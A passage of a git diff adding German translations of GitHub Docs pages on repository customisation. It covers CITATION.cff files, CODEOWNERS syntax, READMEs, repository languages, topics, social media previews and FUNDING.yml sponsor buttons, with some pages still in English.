+Erweiterte Datei „CITATION.cff“, die die Software beschreibt, aber mit einem Forschungsartikel als bevorzugtes Zitat verknüpft ist:
+
+```
+cff-version: 1.2.0
+message: "If you use this software, please cite it as below."
+authors:
+- family-names: "Lisa"
+  given-names: "Mona"
+  orcid: "https://orcid.org/0000-0000-0000-0000"
+- family-names: "Bot"
+  given-names: "Hew"
+  orcid: "https://orcid.org/0000-0000-0000-0000"
+title: "My Research Software"
+version: 2.0.4
+doi: 10.5281/zenodo.1234
+date-released: 2017-12-18
+url: "https://github.com/github/linguist"
+preferred-citation:
+  type: article
+  authors:
+  - family-names: "Lisa"
+    given-names: "Mona"
+    orcid: "https://orcid.org/0000-0000-0000-0000"
+  - family-names: "Bot"
+    given-names: "Hew"
+    orcid: "https://orcid.org/0000-0000-0000-0000"
+  doi: "10.0000/00000"
+  journal: "Journal Title"
+  month: 9
+  start: 1 # First page number
+  end: 10 # Last page number
+  title: "My awesome research software"
+  issue: 1
+  volume: 1
+  year: 2021
+```
+
+Die obige Beispieldatei `CITATION.cff` generiert die folgenden Ausgaben an der GitHub Zitataufforderung:
+
+**APA**
+
+```
+Lisa, M., & Bot, H. (2021). My awesome research software. Journal Title, 1(1), 1. https://doi.org/10.0000/00000
+```
+
+**BibTeX**
+
+{% raw %}
+```
+@article{Lisa_My_awesome_research_2021,
+  author = {Lisa, Mona and Bot, Hew},
+  doi = {10.0000/00000},
+  journal = {Journal Title},
+  month = {9},
+  number = {1},
+  pages = {1--10},
+  title = {{My awesome research software}},
+  volume = {1},
+  year = {2021}
+}
+```
+{% endraw %}
+
+## Zitieren eines Datasets
+
+Wenn dein Repository ein Dataset enthält, kannst du oben in deiner Datei `CITATION.cff` die Option `type: dataset` festlegen, um eine Ausgabe der Datenzitatzeichenfolge an der {% data variables.product.prodname_dotcom %}-Zitataufforderung zu erstellen.
+
+## Andere CITATION-Dateien
+
+Das GitHub Zitatfeature erkennt auch eine kleine Anzahl zusätzlicher Dateien, die häufig von Communitys und Projekten verwendet werden, um zu beschreiben, wie ihre Arbeit zitiert werden soll.
+
+GitHub erstellt in der Aufforderung _Dieses Repository zitieren_ eine Verknüpfung mit diesen Dateien, versucht aber nicht, sie in andere Zitatformate zu parsen.
+
+```
+# Note these are case-insensitive and must be in the root of the repository
+CITATION
+CITATIONS
+CITATION.bib
+CITATIONS.bib
+CITATION.md
+CITATIONS.md
+
+# CITATION files for R packages are typically found at inst/CITATION
+inst/CITATION
+```
+
+## Zitatformate
+
+Derzeit werden die Dateiformate APA und BibTex unterstützt.
+
+Suchst du nach weiteren Zitatformaten? GitHub verwendet eine Ruby-Bibliothek, um die Dateien `CITATION.cff` zu parsen. Du kannst weitere Formate im Repository [ruby-cff](https://github.com/citation-file-format/ruby-cff) anfordern oder selbst mitwirken.
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md
new file mode 100644
index 0000000000..dc70e74cfa
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md
@@ -0,0 +1,140 @@
+---
+title: Informationen zu Codeinhabern
+intro: 'Du kannst eine CODEOWNERS-Datei verwenden, um Personen oder Teams zu definieren, die für den Code in einem Repository verantwortlich sind.'
+redirect_from:
+  - /articles/about-codeowners
+  - /articles/about-code-owners
+  - /github/creating-cloning-and-archiving-repositories/about-code-owners
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-code-owners
+product: '{% data reusables.gated-features.code-owners %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+ms.openlocfilehash: 3b6822be6551d43b3af55220ac8f39deec8be1df
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106837'
+---
+Personen mit Administrator- oder Inhaberberechtigungen können eine CODEOWNERS-Datei in einem Repository einrichten.
+
+Die Personen, die du als Codeinhaber auswählst, müssen Schreibberechtigungen für das Repository haben. Wenn der Codebesitzer ein Team ist, muss das Team sichtbar sein und über Schreibberechtigungen verfügen. Dies gilt auch, wenn alle einzelnen Teammitglieder über die Organisations- oder eine andere Teammitgliedschaft bereits Schreibberechtigung besitzen.
+
+## Informationen zu Codeinhabern
+
+Code-Besitzer werden automatisch zur Überprüfung aufgefordert, wenn jemand einen Pull Request öffnet, der den Code ändert, den sie besitzen. Code-Besitzer werden nicht automatisch aufgefordert, Entwürfe für Pull Requests zu überprüfen. Weitere Informationen zum Entwerfen von Pull Requests findest du unter [Informationen zu Pull Requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests). Code-Besitzer werden nicht automatisch aufgefordert, Entwürfe für Pull Requests zu überprüfen. Wenn du einen Pull Request in einen Entwurf konvertierst, werden Personen, die bereits Benachrichtigungen abonniert haben, nicht automatisch abgemeldet. Weitere Informationen findest du unter [Ändern der Stage eines Pull Requests](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request).
+
+Wenn ein Benutzer mit Administrator- oder Inhaberberechtigungen die erforderlichen Reviews aktiviert hat, kann er optional auch die Genehmigung von einem Codeinhaber anfordern, bevor der Autor einen Pull Request im Repository zusammenführen kann. Weitere Informationen findest du unter [Informationen zu geschützten Branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging).
+
+Wenn eine Datei eine*n Codebesitzer*in hat, kannst du sehen, wer dies ist, bevor du einen Pull Request öffnest. Du kannst im Repository zur Datei navigieren und den Mauszeiger über {% octicon "shield-lock" aria-label="The edit icon" %} bewegen.
+
+![Codeinhaber für eine Datei in einem Repository](/assets/images/help/repository/code-owner-for-a-file.png)
+
+## Speicherort der CODEOWNERS-Datei
+
+Um eine CODEOWNERS-Datei zu verwenden, erstellst du eine neue Datei namens `CODEOWNERS` im Stammverzeichnis oder im Verzeichnis `docs/` oder `.github/` des Repositorys in dem Branch, in dem du die Codebesitzer hinzufügen möchtest.
+
+Jede CODEOWNERS-Datei ordnet die Codeinhaber für einen einzelnen Branch im Repository zu. So kannst du verschiedenen Codebesitzer für unterschiedliche Branches zuweisen, z. B. `@octo-org/codeowners-team` für eine Codebasis im Standardbranch und `@octocat` für eine {% data variables.product.prodname_pages %}-Website im Branch `gh-pages`.
+
+Damit Codeinhaber Review-Anfragen erhalten können, muss sich die CODEOWNERS-Datei auf dem Basis-Branch des Pull Requests befinden. Wenn du z. B. `@octocat` als Codebesitzer für *.js*-Dateien im Branch `gh-pages` deines Repositorys zuweist, erhält `@octocat` Überprüfungsanforderungen, wenn ein Pull Request mit Änderungen an *.js*-Dateien zwischen Headbranch und `gh-pages` erstellt wird.
+
+## Größe von CODEOWNERS-Dateien
+
+CODEOWNERS-Dateien müssen kleiner als 3 MB sein. Eine CODEOWNERS-Datei über diesen Grenzwert wird nicht geladen. Das bedeutet, dass keine Informationen zum Codebesitzer angezeigt und die entsprechenden Codebesitzer nicht aufgefordert werden, Änderungen in einem Pull Request zu überprüfen.
+
+Um die Größe deiner CODEOWNERS-Datei zu verringern, kannst du Platzhaltermustern verwenden, um mehrere Einträge in einem zusammenzufassen.
+
+## CODEOWNERS-Syntax
+
+{% warning %}
+
+**Warnung:** Es gibt einige Syntaxregeln für GITIGNORE-Dateien, die in CODEOWNERS-Dateien *nicht* funktionieren:
+- Auskommentieren eines Musters, das mit `#` beginnt und `\` enthält, sodass es als Muster behandelt wird und nicht als Kommentar
+- Verwenden von `!` zum Negieren eines Musters
+- Verwenden von `[ ]` zum Definieren eines Zeichenbereichs
+
+{% endwarning %}
+
+Eine CODEOWNERS-Datei verwendet ein Muster, das den meisten Regeln folgt, die auch für [gitignore](https://git-scm.com/docs/gitignore#_pattern_format)-Dateien gelten. Dem Muster folgen ein oder mehrere {% data variables.product.prodname_dotcom %}-Benutzernamen oder -Teamnamen im Standardformat `@username` oder `@org/team-name`. Benutzer*innen und Teams müssen expliziten `write`-Zugriff auf das Repository haben, auch wenn die Teammitglieder bereits Zugriff haben.
+
+{% ifversion fpt or ghec%}In den meisten Fällen kannst du {% else %}Du kannst{% endif %} auch mithilfe einer E-Mail-Adresse auf Benutzer verweisen, die in {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} deren Konto hinzugefügt wurde, z. B. `user@example.com`. {% ifversion fpt or ghec %} Du kannst nicht mit einer E-Mail-Adresse auf einen {% data variables.enterprise.prodname_managed_user %} verweisen. Weitere Informationen zu {% data variables.enterprise.prodname_managed_users %} findest du unter [Informationen zu {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users){% ifversion fpt %} in der Dokumentation zu {% data variables.product.prodname_ghe_cloud %}.{% else %}.{% endif %}{% endif %}
+
+Bei CODEOWNERS-Pfaden wird die Groß- und Kleinschreibung berücksichtigt, da {% data variables.product.prodname_dotcom %} ein Dateisystem mit Beachtung von Groß- und Kleinschreibung verwendet. Da CODEOWNERS von {% data variables.product.prodname_dotcom %} ausgewertet werden, muss auch bei Systemen mit Beachtung der Groß- und Kleinschreibung (z. B. macOS) bei den Pfaden und Dateien die richtige Groß- und Kleinschreibung in der CODEOWNERS-Datei verwendet werden.
+
+{% ifversion codeowners-errors %} Wenn eine Zeile in deiner CODEOWNERS-Datei ungültige Syntax enthält, wird diese Zeile übersprungen. Wenn du zur CODEOWNERS-Datei in deinem Repository auf {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} navigierst, werden Fehler hervorgehoben. Auf eine Liste der Fehler in der CODEOWNERS-Datei eines Repositorys kannst du über die API zugreifen. Weitere Informationen findest du in der REST-API-Dokumentation unter [Repositorys](/rest/reference/repos#list-codeowners-errors).
+{% else %} Wenn eine Zeile in deiner CODEOWNERS-Datei ungültige Syntax enthält, wird die Datei nicht erkannt und nicht verwendet, um Rezensionen anzufordern.
+{% endif %}
+
+### Beispiel für eine CODEOWNERS-Datei
+```
+# This is a comment.
+# Each line is a file pattern followed by one or more owners.
+
+# These owners will be the default owners for everything in
+# the repo. Unless a later match takes precedence,
+# @global-owner1 and @global-owner2 will be requested for
+# review when someone opens a pull request.
+*       @global-owner1 @global-owner2
+
+# Order is important; the last matching pattern takes the most
+# precedence. When someone opens a pull request that only
+# modifies JS files, only @js-owner and not the global
+# owner(s) will be requested for a review.
+*.js    @js-owner
+
+# You can also use email addresses if you prefer. They'll be
+# used to look up users just like we do for commit author
+# emails.
+*.go docs@example.com
+
+# Teams can be specified as code owners as well. Teams should
+# be identified in the format @org/team-name. Teams must have
+# explicit write access to the repository. In this example,
+# the octocats team in the octo-org organization owns all .txt files.
+*.txt @octo-org/octocats
+
+# In this example, @doctocat owns any files in the build/logs
+# directory at the root of the repository and any of its
+# subdirectories.
+/build/logs/ @doctocat
+
+# The `docs/*` pattern will match files like
+# `docs/getting-started.md` but not further nested files like
+# `docs/build-app/troubleshooting.md`.
+docs/*  docs@example.com
+
+# In this example, @octocat owns any file in an apps directory
+# anywhere in your repository.
+apps/ @octocat
+
+# In this example, @doctocat owns any file in the `/docs`
+# directory in the root of your repository and any of its
+# subdirectories.
+/docs/ @doctocat
+
+# In this example, any change inside the `/scripts` directory
+# will require approval from @doctocat or @octocat.
+/scripts/ @doctocat @octocat
+
+# In this example, @octocat owns any file in the `/apps`
+# directory in the root of your repository except for the `/apps/github`
+# subdirectory, as its owners are left empty.
+/apps/ @octocat
+/apps/github
+```
+
+## CODEOWNERS und Branchschutz
+Repositorybesitzer können Branchschutzregeln hinzufügen, um sicherzustellen, dass geänderter Code von den Besitzer*innen der geänderten Dateien überprüft wird. Weitere Informationen findest du unter [Informationen zu geschützten Branches](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches).
+
+## Weitere Informationsquellen
+
+- [Erstellen neuer Dateien](/articles/creating-new-files)
+- [Einladen von Projektmitarbeiter*innen in ein persönliches Repository](/articles/inviting-collaborators-to-a-personal-repository)
+- [Verwalten des Zugriffs einer Person auf ein Repository einer Organisation](/articles/managing-an-individual-s-access-to-an-organization-repository)
+- [Verwalten des Teamzugriffs auf ein Organisationsrepository](/articles/managing-team-access-to-an-organization-repository).
+- [Anzeigen von Pull Request-Reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
new file mode 100644
index 0000000000..5450d81b0a
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
@@ -0,0 +1,69 @@
+---
+title: About READMEs
+intro: 'You can add a README file to your repository to tell other people why your project is useful, what they can do with your project, and how they can use it.'
+redirect_from:
+  - /articles/section-links-on-readmes-and-blob-pages
+  - /articles/relative-links-in-readmes
+  - /articles/about-readmes
+  - /github/creating-cloning-and-archiving-repositories/about-readmes
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-readmes
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+---
+## About READMEs
+
+{% data reusables.repositories.about-READMEs %}
+
+For more information about providing guidelines for your project, see {% ifversion fpt or ghec %}"[Adding a code of conduct to your project](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" and {% endif %}"[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+
+A README is often the first item a visitor will see when visiting your repository. README files typically include information on:
+- What the project does
+- Why the project is useful
+- How users can get started with the project
+- Where users can get help with your project
+- Who maintains and contributes to the project
+
+If you put your README file in your repository's hidden `.github`, root, or `docs` directory, {% data variables.product.product_name %} will recognize and automatically surface your README to repository visitors.
+
+If a repository contains more than one README file, then the file shown is chosen from locations in the following order: the `.github` directory, then the repository's root directory, and finally the `docs` directory.
+
+![Main page of the github/scientist repository and its README file](/assets/images/help/repository/repo-with-readme.png)
+
+{% ifversion fpt or ghes or ghec %}
+
+{% data reusables.profile.profile-readme %}
+
+{% endif %}
+
+![README file on your username/username repository](/assets/images/help/repository/username-repo-with-readme.png)
+
+## Auto-generated table of contents for README files
+
+For the rendered view of any Markdown file in a repository, including README files, {% data variables.product.product_name %} will automatically generate a table of contents based on section headings. You can view the table of contents for a README file by clicking the {% octicon "list-unordered" aria-label="The unordered list icon" %}  menu icon at the top left of the rendered page.
+
+![README with automatically generated TOC](/assets/images/help/repository/readme-automatic-toc.png)
+
+## Section links in README files and blob pages
+
+{% data reusables.repositories.section-links %}
+
+## Relative links and image paths in README files
+
+{% data reusables.repositories.relative-links %}
+
+## Wikis
+
+A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."
+
+## Further reading
+
+- "[Adding a file to a repository](/articles/adding-a-file-to-a-repository)"
+- 18F's "[Making READMEs readable](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)"
+{%- ifversion fpt or ghec %} 
+- "[Adding an 'Open in GitHub Codespaces' badge](/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge)"
+{%- endif %}   
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
new file mode 100644
index 0000000000..19bd4adb70
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
@@ -0,0 +1,34 @@
+---
+title: Informationen zu Repository-Sprachen
+intro: 'Die Dateien und Verzeichnisse innerhalb eines Repositorys bestimmen die Sprachen des Repositorys. Du kannst die Sprachen eines Repositorys anzeigen, um Dir einen schnellen Überblick über das Repository zu verschaffen.'
+redirect_from:
+  - /articles/my-repository-is-marked-as-the-wrong-language
+  - /articles/why-isn-t-my-favorite-language-recognized
+  - /articles/my-repo-is-marked-as-the-wrong-language
+  - /articles/why-isn-t-sql-recognized-as-a-language
+  - /articles/why-isn-t-my-favorite-language-recognized-by-github
+  - /articles/about-repository-languages
+  - /github/creating-cloning-and-archiving-repositories/about-repository-languages
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repository-languages
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Repository languages
+ms.openlocfilehash: 3796ec1828bb8f64072f62255d76ca79c4467457
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132238'
+---
+{% data variables.product.product_name %} verwendet die Open Source [Linguist library](https://github.com/github/linguist), um die Dateisprachen zur Hervorhebung der Syntax und für die Repositorystatistiken festzulegen. Sprachstatistiken werden aktualisiert, nachdem Du Änderungen an Deiner Standardverzweitung gepusht hast.
+
+Einige Dateien sind schwer zu identifizieren, und manchmal enthalten Projekte mehr Bibliotheks- und Anbieterdateien als eigenen Primärcode. Wenn Du falsche Ergebnisse erhältst, lies bitte den [Linguist-Problembehandlungsleitfaden](https://github.com/github/linguist/blob/master/docs/troubleshooting.md), um Hilfe zu erhalten.
+
+## Markup-Sprachen
+
+Markupsprachen werden mit unserer Open-Source [Markup-Bibliothek](https://github.com/github/markup) in HTML gerendert und inline angezeigt. Derzeit akzeptieren wir keine neuen Markup-Sprachen für die Anzeige innerhalb von {% data variables.product.product_name %}. Wir verwalten jedoch aktiv unsere aktuellen Markup-Sprachen. Wenn ein Problem angezeigt wird, [erstelle ein Problem](https://github.com/github/markup/issues/new).
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
new file mode 100644
index 0000000000..0227ac595d
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
@@ -0,0 +1,49 @@
+---
+title: Classifying your repository with topics
+intro: 'To help other people find and contribute to your project, you can add topics to your repository related to your project''s intended purpose, subject area, affinity groups, or other important qualities.'
+redirect_from:
+  - /articles/about-topics
+  - /articles/classifying-your-repository-with-topics
+  - /github/administering-a-repository/classifying-your-repository-with-topics
+  - /github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Classify with topics
+---
+
+## About topics
+
+With topics, you can explore repositories in a particular subject area, find projects to contribute to, and discover new solutions to a specific problem. Topics appear on the main page of a repository. You can click a topic name to {% ifversion fpt or ghec %}see related topics and a list of other repositories classified with that topic{% else %}search for other repositories with that topic{% endif %}.
+
+![Main page of the test repository showing topics](/assets/images/help/repository/os-repo-with-topics.png)
+
+To browse the most used topics, go to https://github.com/topics/.
+
+{% ifversion fpt or ghec %}You can contribute to {% data variables.product.product_name %}'s set of featured topics in the [github/explore](https://github.com/github/explore) repository. {% endif %}
+
+Repository admins can add any topics they'd like to a repository. Helpful topics to classify a repository include the repository's intended purpose, subject area, community, or language.{% ifversion fpt or ghec %} Additionally, {% data variables.product.product_name %} analyzes public repository content and generates suggested topics that repository admins can accept or reject. Private repository content is not analyzed and does not receive topic suggestions.{% endif %}
+
+{% ifversion fpt %}Public and private{% elsif ghec or ghes %}Public, private, and internal{% elsif ghae %}Private and internal{% endif %} repositories can have topics, although you will only see private repositories that you have access to in topic search results.
+
+You can search for repositories that are associated with a particular topic. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." You can also search for a list of topics on {% data variables.product.product_name %}. For more information, see "[Searching topics](/search-github/searching-on-github/searching-topics)."
+
+## Adding topics to your repository
+
+{% note %}
+
+**Note:** Topic names are always public, even if you create the topic from within a private repository.
+
+{% endnote %}
+
+{% data reusables.repositories.navigate-to-repo %}
+2. To the right of "About", click {% octicon "gear" aria-label="The Gear icon" %}.
+  ![Gear icon on main page of a repository](/assets/images/help/repository/edit-repository-details-gear.png)
+3. Under "Topics", type the topic you want to add to your repository, then type a space.
+  ![Form to enter topics](/assets/images/help/repository/add-topic-form.png)
+4. After you've finished adding topics, click **Save changes**.
+  !["Save changes" button in "Edit repository details"](/assets/images/help/repository/edit-repository-details-save-changes-button.png)
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview.md
new file mode 100644
index 0000000000..4fd5e06a41
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview.md
@@ -0,0 +1,48 @@
+---
+title: Customizing your repository's social media preview
+intro: You can customize the image displayed on social media platforms when someone links to your repository.
+redirect_from:
+  - /articles/customizing-your-repositorys-social-media-preview
+  - /github/administering-a-repository/customizing-your-repositorys-social-media-preview
+  - /github/administering-a-repository/managing-repository-settings/customizing-your-repositorys-social-media-preview
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Social media preview
+---
+Until you add an image, repository links expand to show basic information about the repository and the owner's avatar. Adding an image to your repository can help identify your project across various social platforms.
+
+## Adding an image to customize the social media preview of your repository
+
+{% ifversion not ghae %}You can upload an image to a private repository, but your image can only be shared from a public repository.{% endif %}
+
+{% tip %}
+
+**Tip:** Your image should be a PNG, JPG, or GIF file under 1 MB in size. For the best quality rendering, we recommend keeping the image at 640 by 320 pixels.
+
+{% endtip %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+3. Under "Social preview," click **Edit**
+    - To add a new image, click **Upload an image...**.
+    - To remove an image, click **Remove image**
+
+    ![Social preview dropdown](/assets/images/help/repository/social-preview.png)
+
+## About transparency
+
+We support PNG images with transparency. Many communication platforms support a dark mode, so using a transparent social preview may be beneficial. The transparent image below is acceptable on a dark background; however, this may not always be the case. 
+
+When using an image with transparency, keep in mind how it may look on different color backgrounds or platforms that don't support transparency.
+
+{% tip %}
+
+**Tip:** If you aren't sure, we recommend using an image with a solid background.
+{% endtip %}
+
+![Social preview transparency](/assets/images/help/repository/social-preview-transparency.png)
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md
new file mode 100644
index 0000000000..fe28213306
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md
@@ -0,0 +1,88 @@
+---
+title: Sponsorenschaltfläche in deinem Repository anzeigen
+intro: 'Du kannst eine Sponsorenschaltfläche zu deinem Repository hinzufügen, um die Sichtbarkeit von Finanzierungsmöglichkeiten für dein Open-Source-Projekt zu erhöhen.'
+redirect_from:
+  - /github/building-a-strong-community/displaying-a-sponsor-button-in-your-repository
+  - /articles/displaying-a-sponsor-button-in-your-repository
+  - /github/administering-a-repository/displaying-a-sponsor-button-in-your-repository
+  - /github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Display a sponsor button
+ms.openlocfilehash: 8fce9d4fe2b4aa697fa5d5a0ef0dfafb1caa4844
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147558342'
+---
+## Informationen zu FUNDING-Dateien
+
+Du kannst deine Sponsorenschaltfläche konfigurieren, indem du auf der Standardverzweigung die Datei _FUNDING.yml_ im `.github`-Ordner deines Repositorys bearbeitest. Wahlweise kann die Schaltfläche gesponserte Entwickler in {% data variables.product.prodname_sponsors %}, externe Finanzierungsplattformen oder eine benutzerdefinierte Sponsoring-URL enthalten. Weitere Informationen zu {% data variables.product.prodname_sponsors %} findest du unter "[Informationen zu GitHub Sponsoren](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)".
+
+Du kannst einen Benutzernamen, Paketnamen oder Projektnamen pro externer Finanzierungsplattform und bis zu vier benutzerdefinierte URLs hinzufügen. Du kannst in {% data variables.product.prodname_sponsors %} eine Organisation und bis zu vier gesponserte Entwickler auswählen. Füge jede Plattform auf einer neuen Zeile hinzu, und verwende dabei die folgende Syntax:
+
+Plattform | Syntax
+-------- | -----
+[LFX Mentorship (früher CommunityBridge)](https://lfx.linuxfoundation.org/tools/mentorship) | `community_bridge: PROJECT-NAME`
+[{% data variables.product.prodname_sponsors %}](https://github.com/sponsors) | `github: USERNAME` oder `github: [USERNAME, USERNAME, USERNAME, USERNAME]`
+[IssueHunt](https://issuehunt.io/) | `issuehunt: USERNAME`
+[Ko-fi](https://ko-fi.com/) | `ko_fi: USERNAME`
+[Liberapay](https://en.liberapay.com/) | `liberapay: USERNAME`
+[Open Collective](https://opencollective.com/) | `open_collective: USERNAME`
+[Otechie](https://otechie.com/)| `otechie: USERNAME`
+[Patreon](https://www.patreon.com/) | `patreon: USERNAME`
+[Tidelift](https://tidelift.com/) | `tidelift: PLATFORM-NAME/PACKAGE-NAME`
+Benutzerdefinierte URL | `custom: LINK1` oder `custom: [LINK1, LINK2, LINK3, LINK4]`
+
+Verwende für Tidelift die `platform-name/package-name`-Syntax mit den folgenden Plattformnamen:
+
+Sprache | Plattformname
+-------- | -------------
+JavaScript | `npm`
+Python | `pypi`
+Ruby | `rubygems`
+Java | `maven`
+PHP | `packagist`
+C# | `nuget`
+
+Hier eine Beispiel-_FUNDING.yml_-Datei:
+```
+github: [octocat, surftocat]
+patreon: octocat
+tidelift: npm/octo-package
+custom: ["https://www.paypal.me/octocat", octocat.com]
+```
+
+{% note %}
+
+**Hinweis:** Wenn eine benutzerdefinierte URL in einem Array `:` enthält, musst du die URL in Anführungszeichen setzen. Beispiel: `"https://www.paypal.me/octocat"`.
+
+{% endnote %}
+
+Du kannst eine Standard-Sponsorenschaltfläche für deine Organisation oder dein persönliches Konto erstellen. Weitere Informationen findest du unter [Erstellen einer Standard-Communityintegritätsdatei](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file).
+
+{% note %}
+
+Finanzierungslinks sind eine gute Möglichkeit für die Community, Open-Source-Projekte direkt finanziell zu unterstützen. Wir unterstützen den Einsatz von Finanzierungslinks nicht für andere Zwecke wie Werbung oder die Unterstützung politischer, gemeinschaftlicher oder wohltätiger Gruppen. Wenn du dir nicht sicher bist, ob deine beabsichtigte Nutzung unterstützt wird, wende dich an {% data variables.contact.contact_support %}.
+
+{% endnote %}
+
+## Sponsorenschaltfläche in deinem Repository anzeigen
+
+Jeder, der über Administratorberechtigungen verfügt, kann eine Sponsorenschaltfläche in einem Repository ermöglichen.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+3. Wähle unter "Features" (Funktionen) die Option **Sponsorships** (Sponsoring) aus.
+  ![Kontrollkästchen zum Aktivieren von Sponsoring](/assets/images/help/sponsors/sponsorships-checkbox.png)
+4. Klicke unter "Sponsorships" (Sponsoring) auf die Schaltfläche **Set up Sponsor** (Sponsor einrichten), oder **setze Finanzierungslinks außer Kraft**.
+  ![Schaltfläche zum Einrichten des Sponsors](/assets/images/help/sponsors/sponsor-set-up-button.png)
+5. Befolge im Datei-Editor die Anweisungen aus der _FUNDING.yml_-Datei, um Links zu deinen Finanzierungsoptionen hinzuzufügen.
+  ![Bearbeite die FUNDING-Datei, um Links zu Finanzierungsstandorten hinzuzufügen](/assets/images/help/sponsors/funding-yml-file.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %}
+
+## Weiterführende Themen
+- "[Informationen zu {% data variables.product.prodname_sponsors %} für Open Source Mitwirkende](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)"
+- "[Häufig gestellte Fragen zum {% data variables.product.prodname_sponsors %}-Team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)" für {% data variables.product.prodname_blog %}
diff --git a/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/index.md b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/index.md
new file mode 100644
index 0000000000..70c3cf467f
--- /dev/null
+++ b/translations/de-DE/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/index.md
@@ -0,0 +1,28 @@
+---
+title: Anpassen des Repositorys
+intro: 'Du kannst auswählen, wie dein Repository angezeigt wird, indem du es anpasst.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /about-readmes
+  - /licensing-a-repository
+  - /displaying-a-sponsor-button-in-your-repository
+  - /customizing-your-repositorys-social-media-preview
